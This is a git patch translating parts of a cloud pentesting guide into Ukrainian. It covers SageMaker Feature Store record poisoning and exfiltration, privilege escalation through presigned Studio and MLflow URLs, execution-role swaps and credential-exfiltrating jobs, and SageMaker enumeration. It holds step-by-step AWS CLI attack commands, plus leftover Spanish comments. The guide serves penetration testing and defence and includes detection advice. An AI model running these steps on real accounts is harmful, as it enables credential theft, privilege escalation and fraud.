From 07fc5d0246fff3cb97906a74f84253d82b93c7e0 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 17 Oct 2025 15:54:17 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ --- .../feature-store-poisoning.md | 172 ++++++++++-- .../aws-sagemaker-privesc/README.md | 264 +++++++++++++++--- .../aws-services/aws-sagemaker-enum/README.md | 92 +++--- .../README.md | 105 +------ 4 files changed, 419 insertions(+), 214 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md index bd4b2b1ec..7d65d318b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md @@ -1,50 +1,160 @@ # SageMaker Feature Store online store poisoning -Зловживання `sagemaker:PutRecord` на Feature Group з увімкненим OnlineStore, щоб перезаписати живі значення ознак, які споживаються для online inference. У поєднанні з `sagemaker:GetRecord` зловмисник може прочитати чутливі ознаки. Для цього не потрібен доступ до models або endpoints. +Зловживати `sagemaker:PutRecord` на Feature Group з увімкненим OnlineStore, щоб перезаписати живі значення фіч, які споживаються під час online inference. У поєднанні з `sagemaker:GetRecord`, атакуючий може прочитати чутливі фічі та ексфільтрувати конфіденційні ML-дані. Для цього не потрібен доступ до моделей або endpoints, що робить це прямою атакою на шар даних. ## Вимоги - Дозволи: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord` -- Ціль: Feature Group з увімкненим OnlineStore (зазвичай підтримує інференс у реальному часі) +- Ціль: Feature Group з увімкненим OnlineStore (зазвичай для real-time inference) +- Складність: **LOW** - Простi команди AWS CLI, маніпуляції моделями не потрібні ## Кроки -1) Виберіть або створіть невелику Online Feature Group для тестування + +### Розвідка + +1) Перелічити Feature Groups з увімкненим OnlineStore +```bash +REGION=${REGION:-us-east-1} +aws sagemaker list-feature-groups \ +--region $REGION \ +--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \ +--output table +``` +2) Опишіть цільовий Feature Group, щоб зрозуміти його схему +```bash +FG= +aws sagemaker describe-feature-group \ +--region $REGION \ +--feature-group-name "$FG" +``` +Зверніть увагу на `RecordIdentifierFeatureName`, `EventTimeFeatureName` та всі визначення ознак. Вони потрібні для створення коректних записів. + +### Сценарій атаки 1: Data Poisoning (Overwrite Existing Records) + +1) Прочитайте поточний дійсний запис +```bash +aws sagemaker-featurestore-runtime get-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-value-as-string user-001 +``` +2) Отруїти запис шкідливими значеннями, використовуючи inline-параметр `--record` +```bash +NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) + +# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user +aws sagemaker-featurestore-runtime put-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record "[ +{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"}, +{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"}, +{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"}, +{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"}, +{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"} +]" \ +--target-stores OnlineStore +``` +3) Перевірте отруєні дані +```bash +aws sagemaker-featurestore-runtime get-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-value-as-string user-001 +``` +**Вплив**: Моделі ML, які споживають цю ознаку, тепер побачать `risk_score=0.99` для легітимного користувача, що може призвести до блокування їхніх транзакцій або послуг. + +### Сценарій атаки 2: Зловмисне впровадження даних (Створення шахрайських записів) + +Впровадьте повністю нові записи зі зміненими ознаками, щоб обійти механізми контролю безпеки: +```bash +NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) + +# Create fake user with artificially low risk to perform fraudulent transactions +aws sagemaker-featurestore-runtime put-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record "[ +{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"}, +{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"}, +{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"}, +{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"}, +{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"} +]" \ +--target-stores OnlineStore +``` +Перевірте ін'єкцію: +```bash +aws sagemaker-featurestore-runtime get-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-value-as-string user-999 +``` +**Вплив**: Зловмисник створює фальшиву особу з низьким ризиковим балом (0.01), яка може виконувати високоцінні шахрайські транзакції, не викликаючи спрацювання системи виявлення шахрайства. + +### Сценарій атаки 3: Експфільтрація конфіденційних даних + +Прочитати кілька записів, щоб витягти конфіденційні features та профілювати поведінку моделі: +```bash +# Exfiltrate data for known users +for USER_ID in user-001 user-002 user-003 user-999; do +echo "Exfiltrating data for ${USER_ID}:" +aws sagemaker-featurestore-runtime get-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-value-as-string ${USER_ID} +done +``` +**Вплив**: Конфіденційні features (оцінки ризику, шаблони транзакцій, персональні дані) стали доступні зловмиснику. + +### Створення тестового/демо Feature Group (необов'язково) + +Якщо потрібно створити тестовий Feature Group: ```bash REGION=${REGION:-us-east-1} FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text) if [ -z "$FG" -o "$FG" = "None" ]; then ACC=$(aws sts get-caller-identity --query Account --output text) -FG=ht-fg-$ACC-$(date +%s) +FG=test-fg-$ACC-$(date +%s) ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole) -aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN" + +aws sagemaker create-feature-group \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-feature-name entity_id \ +--event-time-feature-name event_time \ +--feature-definitions "[ +{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"}, +{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"}, +{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}, +{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"}, +{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"} +]" \ +--online-store-config "{\"EnableOnlineStore\":true}" \ +--role-arn "$ROLE_ARN" + echo "Waiting for feature group to be in Created state..." for i in $(seq 1 40); do ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true) -echo $ST; [ "$ST" = "Created" ] && break; sleep 15 +echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15 done fi -``` -2) Вставити/перезаписати онлайн-запис (poison) -```bash -NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) -cat > /tmp/put.json << JSON -{ -"FeatureGroupName": "$FG", -"Record": [ -{"FeatureName": "entity_id", "ValueAsString": "user-123"}, -{"FeatureName": "event_time", "ValueAsString": "$NOW"}, -{"FeatureName": "risk_score", "ValueAsString": "0.99"} -], -"TargetStores": ["OnlineStore"] -} -JSON -aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json -``` -3) Прочитайте запис, щоб підтвердити проведену маніпуляцію. -```bash -aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString" -``` -Очікувано: risk_score повертає 0.99 (attacker-set), що підтверджує можливість змінювати online features, які споживаються models. -## Вплив -- Real-time integrity attack: маніпулювати features, що використовуються production models, не торкаючись endpoints/models. -- Ризик конфіденційності: читати чутливі features за допомогою GetRecord з OnlineStore. +echo "Feature Group ready: $FG" +``` +## Виявлення + +Моніторте CloudTrail на предмет підозрілих патернів: +- `PutRecord` events from unusual IAM principals or IP addresses +- Висока частота викликів `PutRecord` або `GetRecord` +- `PutRecord` with anomalous feature values (e.g., risk_score outside normal range) +- Масові операції `GetRecord`, що вказують на mass exfiltration +- Доступ поза звичайними робочими годинами або з несподіваних локацій + +Впровадьте виявлення аномалій: +- Валідація значень фіч (наприклад, risk_score має бути 0.0-1.0) +- Аналіз патернів записів (частота, час, source identity) +- Виявлення дрейфу даних (раптові зміни в розподілах фіч) + +## Джерела +- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html) +- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md index 0563bc871..1a225b2d3 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md @@ -6,34 +6,117 @@ ### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` -Почніть створювати notebook з приєднаною IAM Role для доступу: +Почніть створення notebook із прикріпленою до нього IAM Role для доступу: ```bash aws sagemaker create-notebook-instance --notebook-instance-name example \ --instance-type ml.t2.medium \ --role-arn arn:aws:iam:::role/service-role/ ``` -У відповіді має бути поле `NotebookInstanceArn`, яке міститиме ARN щойно створеного notebook instance. Потім ми можемо скористатися API `create-presigned-notebook-instance-url`, щоб згенерувати URL, за допомогою якого можна буде отримати доступ до notebook instance, коли він буде готовий: +У відповіді має бути поле `NotebookInstanceArn`, яке міститиме ARN щойно створеного notebook instance. Потім ми можемо використати API `create-presigned-notebook-instance-url`, щоб згенерувати URL, за допомогою якого ми зможемо отримати доступ до notebook instance, коли він буде готовий: ```bash aws sagemaker create-presigned-notebook-instance-url \ --notebook-instance-name ``` -Перейдіть за URL у браузері та натисніть на `Open JupyterLab` у верхньому правому куті, потім прокрутіть до вкладки “Launcher” і в секції “Other” натисніть кнопку “Terminal”. +Перейдіть за URL у браузері та натисніть `Open JupyterLab`` у верхньому правому куті, потім прокрутіть вниз до “Launcher” вкладки і в розділі “Other” натисніть кнопку “Terminal”. -Тепер можливо отримати доступ до метаданих облікових даних IAM Role. +Тепер можна отримати доступ до облікових даних метаданих ролі IAM. -**Можливий вплив:** Privesc до вказаної sagemaker service role. +**Потенційний вплив:** Privesc до вказаної sagemaker service role. ### `sagemaker:CreatePresignedNotebookInstanceUrl` -Якщо на ньому вже запущені Jupyter **notebooks**, і ви можете перерахувати їх за допомогою `sagemaker:ListNotebookInstances` (або виявити їх іншим способом), ви можете **згенерувати для них URL, отримати доступ і вкрасти облікові дані, як вказано в попередній техніці**. +Якщо на ньому вже запущені Jupyter **notebooks** і ви можете перерахувати їх за допомогою `sagemaker:ListNotebookInstances` (або знайти іншим способом), ви можете **згенерувати для них URL, отримати до них доступ і вкрасти облікові дані, як описано в попередній техніці**. ```bash aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name ``` -**Potential Impact:** Privesc до прикріпленої сервісної ролі sagemaker. +**Можливий вплив:** Privesc до прикріпленої sagemaker service role. + + +## `sagemaker:CreatePresignedDomainUrl` + +> [!WARNING] +> Ця атака працює лише на старих традиційних доменах SageMaker Studio, а не на тих, створених SageMaker Unified Studio. Домени з Unified Studio повернуть помилку: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal". + +Ідентичність, яка має дозвіл викликати `sagemaker:CreatePresignedDomainUrl` на цільовому Studio `UserProfile`, може згенерувати login URL, який автентифікує безпосередньо в SageMaker Studio як цей профіль. Це надає браузеру нападника Studio session, що успадковує права `ExecutionRole` профілю та повний доступ до EFS-backed home та додатків профілю. Не потрібні `iam:PassRole` або доступ до консолі. + +**Вимоги**: +- Наявність SageMaker Studio `Domain` та цільового `UserProfile` всередині нього. +- Принципал нападника повинен мати `sagemaker:CreatePresignedDomainUrl` на цільовому `UserProfile` (на рівні ресурсу) або `*`. + +Приклад мінімальної політики (обмежено для одного UserProfile): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sagemaker:CreatePresignedDomainUrl", +"Resource": "arn:aws:sagemaker:::user-profile//" +} +] +} +``` +**Кроки зловживання**: + +1) Перелічте Studio Domain і UserProfiles, на які можна націлитися +```bash +DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text) +aws sagemaker list-user-profiles --domain-id-equals $DOM +TARGET_USER= +``` +2) Перевірте, чи unified studio не використовується (attack працює лише на традиційних доменах SageMaker Studio) +```bash +aws sagemaker describe-domain --domain-id --query 'DomainSettings' +# If you get info about unified studio, this attack won't work +``` +3) Згенеруйте presigned URL (дійсний приблизно 5 хвилин за замовчуванням) +```bash +aws sagemaker create-presigned-domain-url \ +--domain-id $DOM \ +--user-profile-name $TARGET_USER \ +--query AuthorizedUrl --output text +``` +4) Відкрийте отриманий URL у браузері, щоб увійти в Studio як цільовий користувач. У терміналі Jupyter всередині Studio перевірте ефективну ідентичність або exfiltrate the token: +```bash +aws sts get-caller-identity +``` +Примітки: +- `--landing-uri` можна опустити. Деякі значення (наприклад, `app:JupyterLab:/lab`) можуть бути відхилені залежно від варіанту/версії Studio; за замовчуванням зазвичай переадресовують на домашню сторінку Studio, а потім до Jupyter. +- Політики організації/обмеження VPC endpoint все ще можуть блокувати мережевий доступ; емісія токена не вимагає входу в консоль або `iam:PassRole`. + +**Можливий вплив**: Латеральне переміщення та ескалація привілеїв шляхом прийняття будь‑якого Studio `UserProfile`, ARN якого дозволений, з успадкуванням його `ExecutionRole` та файлової системи/додатків. + + +### `sagemaker:CreatePresignedMlflowTrackingServerUrl`, `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments` + +Ідентичність, яка має дозвіл викликати `sagemaker:CreatePresignedMlflowTrackingServerUrl` (і `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments` для подальшого доступу) для цільового SageMaker MLflow Tracking Server, може згенерувати одноразовий presigned URL, який автентифікується безпосередньо в керованому MLflow UI цього сервера. Це надає той самий доступ, що й легітимний користувач сервера (перегляд/створення експериментів і прогонів, а також завантаження/вивантаження артефактів у S3‑сховище артефактів сервера). + +**Вимоги:** +- Наявність SageMaker MLflow Tracking Server в акаунті/регіоні та його ім'я. +- Принципал атакуючого повинен мати `sagemaker:CreatePresignedMlflowTrackingServerUrl` на ресурсі цільового MLflow Tracking Server (або `*`). + +**Кроки зловживання**: + +1) Перелічіть MLflow Tracking Servers, які ви можете націлити, і виберіть одне ім'я +```bash +aws sagemaker list-mlflow-tracking-servers \ +--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}' +TS_NAME= +``` +2) Згенеруйте presigned MLflow UI URL (дійсний протягом короткого часу) +```bash +aws sagemaker create-presigned-mlflow-tracking-server-url \ +--tracking-server-name "$TS_NAME" \ +--query AuthorizedUrl --output text +``` +3) Відкрийте повернутий URL у браузері, щоб отримати доступ до MLflow UI як автентифікований користувач для цього Tracking Server. + +**Потенційний вплив:** Безпосередній доступ до керованого MLflow UI для цільового Tracking Server, що дозволяє переглядати та змінювати experiments/runs та отримувати або завантажувати артефакти, збережені в сконфігурованому S3 artifact store сервера, у межах дозволів, накладених конфігурацією сервера. + ### `sagemaker:CreateProcessingJob`, `iam:PassRole` -Зловмисник із такими дозволами може змусити **SageMaker виконати processing job** з прикріпленою до нього роллю SageMaker. Повторно використовуючи один із AWS Deep Learning Containers, який уже містить Python (і виконавши job у тому ж регіоні, що й URI), ви можете запускати код inline без створення власних образів: +Атакуючий з такими дозволами може змусити **SageMaker виконати processing job** з прикріпленою роллю SageMaker. Повторно використовуючи один із AWS Deep Learning Containers, які вже містять Python (і запускаючи job у тому ж регіоні, що й URI), можна запустити inline-код без побудови власних образів: ```bash REGION= ROLE_ARN= @@ -49,11 +132,11 @@ aws sagemaker create-processing-job \ # Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen. ``` -**Потенційний вплив:** Privesc до вказаної sagemaker service role. +**Potential Impact:** Privesc до вказаної ролі сервісу sagemaker. ### `sagemaker:CreateTrainingJob`, `iam:PassRole` -Зловмисник з такими правами може запустити завдання навчання, яке виконує довільний код з вказаною роллю. Використовуючи офіційний контейнер SageMaker та перезаписавши entrypoint за допомогою payload inline, не потрібно створювати власні образи: +An attacker з такими дозволами може запустити training job, який виконує довільний код з вказаною роллю. Використовуючи офіційний контейнер SageMaker і перезаписавши entrypoint за допомогою inline payload, вам не потрібно створювати власні образи: ```bash REGION= ROLE_ARN= @@ -73,11 +156,11 @@ aws sagemaker create-training-job \ # El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol. ``` -**Potential Impact:** Privesc до вказаної ролі сервісу SageMaker. +**Потенційний вплив:** Privesc до вказаної SageMaker service role. ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` -Зловмисник із такими дозволами може запустити HyperParameter Tuning Job, який виконує керований зловмисником код під наданою роллю. Script mode вимагає розміщення payload в S3, але всі кроки можна автоматизувати з CLI: +Зловмисник з такими дозволами може запустити HyperParameter Tuning Job, який виконує код, контрольований зловмисником, під наданою роллю. Script mode вимагає розміщення payload в S3, але всі кроки можна автоматизувати з CLI: ```bash REGION= ROLE_ARN= @@ -183,28 +266,28 @@ aws sagemaker create-hyper-parameter-tuning-job \ --hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \ --training-job-definition file:///tmp/hpo-definition.json ``` -Cada entrenamiento lanzado por el proceso imprime la métrica y exfiltra las credenciales del rol indicado. +Кожне тренування, запущене цим процесом, виводить метрику та експфільтрує облікові дані вказаної ролі. +### `sagemaker:UpdateUserProfile`, `iam:PassRole`, `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`) -### `sagemaker:UpdateUserProfile`/`UpdateSpace`/`UpdateDomain` Заміна ролі Studio (без `iam:PassRole`) +Маючи дозвіл оновлювати SageMaker Studio User Profile, створювати app, presigned URL до app та `iam:PassRole`, зловмисник може встановити `ExecutionRole` на будь-яку IAM роль, яку сервісний принципал SageMaker може прийняти. Нові Studio apps, запущені для цього профілю, працюватимуть із заміненою роллю, надаючи інтерактивні підвищені привілеї через Jupyter terminals або jobs, запущені зі Studio. -Prioridad de ExecutionRole: - -- `UserProfile` override cualquier valor. Si un perfil define `ExecutionRole`, Studio siempre usará ese rol. -- `Space` se aplica solo cuando el perfil no tiene rol propio; de lo contrario, prevalece el del perfil. -- `Domain DefaultUserSettings` actúa como último recurso cuando ni perfil ni espacio definen un rol. - -Маючи права на оновлення SageMaker Studio `UserProfile` (або `Space`/`Domain`), зловмисник може встановити `ExecutionRole` на будь-яку IAM роль, яку може прийняти сервіс-принципал SageMaker. На відміну від API створення job, API оновлення профілю Studio не вимагають `iam:PassRole`. Нові додатки Studio, запущені для цього профілю, працюватимуть із підміненою роллю, надаючи інтерактивні підвищені привілеї через термінали Jupyter або jobs, запущені зі Studio. +> [!WARNING] +> Ця атака вимагає, щоб у профілі не було додатків, інакше створення app зазнає невдачі з помилкою, подібною до: `An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.` +> Якщо є будь-який app, вам знадобиться дозвіл `sagemaker:DeleteApp`, щоб спочатку їх видалити. Кроки: ```bash -# 1) List Studio user profiles and pick a target +# 1) List Studio domains and pick a target +aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}' + +# 2) List Studio user profiles and pick a target aws sagemaker list-user-profiles --domain-id-equals # Choose a more-privileged role that already trusts sagemaker.amazonaws.com ROLE_ARN=arn:aws:iam:::role/ -# 2) Update the Studio profile to use the new role (no iam:PassRole) +# 3) Update the Studio profile to use the new role (no iam:PassRole) aws sagemaker update-user-profile \ --domain-id \ --user-profile-name \ @@ -215,18 +298,58 @@ aws sagemaker describe-user-profile \ --user-profile-name \ --query 'UserSettings.ExecutionRole' --output text -# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level -aws sagemaker update-space \ ---domain-id \ ---space-name \ ---space-settings ExecutionRole=$ROLE_ARN +# 3.1) Optional if you need to delete existing apps first +# List existing apps +aws sagemaker list-apps \ +--domain-id-equals -aws sagemaker describe-space \ +# Delete an app +aws sagemaker delete-app \ --domain-id \ ---space-name \ ---query 'SpaceSettings.ExecutionRole' --output text +--user-profile-name \ +--app-type JupyterServer \ +--app-name -# 4) Optionally, change the domain default so every profile inherits the new role +# 4) Create a JupyterServer app for a user profile (will inherit domain default role) +aws sagemaker create-app \ +--domain-id \ +--user-profile-name \ +--app-type JupyterServer \ +--app-name + + +# 5) Generate a presigned URL to access Studio with the new domain default role +aws sagemaker create-presigned-domain-url \ +--domain-id \ +--user-profile-name \ +--query AuthorizedUrl --output text + +# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify: +# aws sts get-caller-identity +# (should show the high-privilege role from domain defaults) + +``` +**Можливий вплив**: Ескалація привілеїв до дозволів вказаної ролі виконання SageMaker для інтерактивних сесій Studio. + +### `sagemaker:UpdateDomain`, `sagemaker:CreateApp`, `iam:PassRole`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`) + +Маючи дозволи на оновлення SageMaker Studio Domain, створення app, presigned URL до app та `iam:PassRole`, зловмисник може встановити роль виконання за замовчуванням домену `ExecutionRole` на будь-яку IAM роль, яку може прийняти service principal SageMaker. Нові Studio apps, запущені для цього профілю, будуть працювати з підміненою роллю, надаючи інтерактивні підвищені права через термінали Jupyter або завдання, запущені зі Studio. + +> [!WARNING] +> Ця атака вимагає відсутності додатків у домені, інакше створення додатку завершиться помилкою: `An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.` + +Кроки: +```bash +# 1) List Studio domains and pick a target +aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}' + +# 2) List Studio user profiles and pick a target +aws sagemaker list-user-profiles --domain-id-equals + +# Choose a more-privileged role that already trusts sagemaker.amazonaws.com +ROLE_ARN=arn:aws:iam:::role/ + +# 3) Change the domain default so every profile inherits the new role aws sagemaker update-domain \ --domain-id \ --default-user-settings ExecutionRole=$ROLE_ARN @@ -235,21 +358,86 @@ aws sagemaker describe-domain \ --domain-id \ --query 'DefaultUserSettings.ExecutionRole' --output text -# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role -aws sagemaker create-app \ +# 3.1) Optional if you need to delete existing apps first +# List existing apps +aws sagemaker list-apps \ +--domain-id-equals + +# Delete an app +aws sagemaker delete-app \ --domain-id \ --user-profile-name \ --app-type JupyterServer \ ---app-name js-atk +--app-name -# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run: -# aws sts get-caller-identity # should reflect the new ExecutionRole +# 4) Create a JupyterServer app for a user profile (will inherit domain default role) +aws sagemaker create-app \ +--domain-id \ +--app-type JupyterServer \ +--app-name js-domain-escalated + +# 5) Generate a presigned URL to access Studio with the new domain default role aws sagemaker create-presigned-domain-url \ --domain-id \ --user-profile-name \ --query AuthorizedUrl --output text + +# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify: +# aws sts get-caller-identity +# (should show the high-privilege role from domain defaults) ``` -**Потенційний вплив**: Privilege escalation до прав вказаної ролі виконання SageMaker для інтерактивних сесій Studio. +**Potential Impact**: Privilege escalation до дозволів зазначеної SageMaker execution role для інтерактивних Studio сесій. + +### `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl` + +Зловмисник, який має дозвіл створювати SageMaker Studio app для цільового UserProfile, може запустити JupyterServer app, що виконуватиметься з профілю `ExecutionRole`. Це забезпечує інтерактивний доступ до дозволів ролі через термінали Jupyter або jobs, запущені зі Studio. + +Кроки: +```bash +# 1) List Studio domains and pick a target +aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}' + +# 2) List Studio user profiles and pick a target +aws sagemaker list-user-profiles --domain-id-equals + +# 3) Create a JupyterServer app for the user profile +aws sagemaker create-app \ +--domain-id \ +--user-profile-name \ +--app-type JupyterServer \ +--app-name js-privesc + +# 4) Generate a presigned URL to access Studio +aws sagemaker create-presigned-domain-url \ +--domain-id \ +--user-profile-name \ +--query AuthorizedUrl --output text + +# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify: +# aws sts get-caller-identity +``` +**Потенційний вплив**: Інтерактивний доступ до ролі виконання SageMaker, прикріпленої до цільового UserProfile. + + +### `iam:GetUser`, `datazone:CreateUserProfile` + +Зловмисник із такими дозволами може надати користувачу (IAM user) доступ до Sagemaker Unified Studio Domain, створивши для нього DataZone User Profile. +```bash +# List domains +aws datazone list-domains --region us-east-1 \ +--query "items[].{Id:id,Name:name}" \ +--output json + +# Add IAM user as a user of the domain +aws datazone create-user-profile \ +--region us-east-1 \ +--domain-identifier \ +--user-identifier \ +--user-type IAM_USER +``` +URL Unified Domain має наступний формат: `https://.sagemaker..on.aws/` (e.g. `https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/`). + +**Потенційний вплив:** Наявність доступу до Sagemaker Unified Studio Domain як користувача дає змогу отримати доступ до всіх ресурсів всередині Sagemaker domain та навіть ескалювати привілеї до role, яку використовують notebooks всередині Sagemaker Unified Studio Domain. ## Посилання diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md index f59f9313e..87d21e4e1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md @@ -4,29 +4,29 @@ ## Огляд сервісу -Amazon SageMaker — керований AWS сервіс для машинного навчання, який поєднує блокноти, інфраструктуру для тренування, оркестрацію, реєстри та керовані endpoints. Компрометація ресурсів SageMaker зазвичай забезпечує: +Amazon SageMaker — керований AWS сервіс для машинного навчання, який об’єднує notebooks, training infrastructure, orchestration, registries та managed endpoints. Компрометація ресурсів SageMaker зазвичай дає: -- Тривалі IAM execution roles з широким доступом до S3, ECR, Secrets Manager або KMS. -- Доступ до конфіденційних наборів даних, що зберігаються в S3, EFS або всередині feature stores. -- Мережеві плацдарми всередині VPC (Studio apps, training jobs, endpoints). -- Високопривілейовані presigned URLs, які обходять аутентифікацію консолі. +- Тривалого життя IAM execution roles з широким доступом до S3, ECR, Secrets Manager або KMS. +- Доступ до чутливих наборів даних, збережених в S3, EFS або всередині feature stores. +- Мережеві footholds всередині VPCs (Studio apps, training jobs, endpoints). +- Високопривілейовані presigned URLs, які обходять console authentication. -Розуміння того, як зібраний SageMaker, — ключовий крок перед тим, як виконувати pivot, persist або здійснювати ексфільтрацію даних. +Розуміння того, як зібрано SageMaker, є ключовим перед тим, як pivot, persist або exfiltrate дані. -## Core Building Blocks +## Основні складові -- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). Кожен domain має спільну файлову систему EFS і роль виконання за замовчуванням. -- **Notebook Instances**: Керовані EC2 інстанси для автономних notebook; використовують окремі execution roles. -- **Training / Processing / Transform Jobs**: Ефемерні контейнери, які тягнуть код з ECR і дані з S3. -- **Pipelines & Experiments**: Оркестровані робочі процеси, які описують усі кроки, вхідні та вихідні дані. +- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). Кожен domain має спільну файлову систему EFS та default execution role. +- **Notebook Instances**: Керовані EC2 інстанси для standalone notebooks; використовують окремі execution roles. +- **Training / Processing / Transform Jobs**: Ефемерні контейнери, які витягують код з ECR та дані з S3. +- **Pipelines & Experiments**: Оркестровані workflows, що описують всі кроки, inputs та outputs. - **Models & Endpoints**: Запаковані артефакти, розгорнуті для inference через HTTPS endpoints. -- **Feature Store & Data Wrangler**: Керовані сервіси для підготовки даних та управління фічами. -- **Autopilot & JumpStart**: Автоматизоване ML та кураторований каталог моделей. -- **MLflow Tracking Servers**: Керований MLflow UI/API з presigned токенами доступу. +- **Feature Store & Data Wrangler**: Керовані сервіси для підготовки даних та управління features. +- **Autopilot & JumpStart**: Автоматизований ML та кураторований catalogue моделей. +- **MLflow Tracking Servers**: Керований MLflow UI/API з presigned access tokens. -Кожен ресурс посилається на execution role, S3 локації, образи контейнерів та опціональні VPC/KMS налаштування — фіксуйте всі ці деталі під час енумерації. 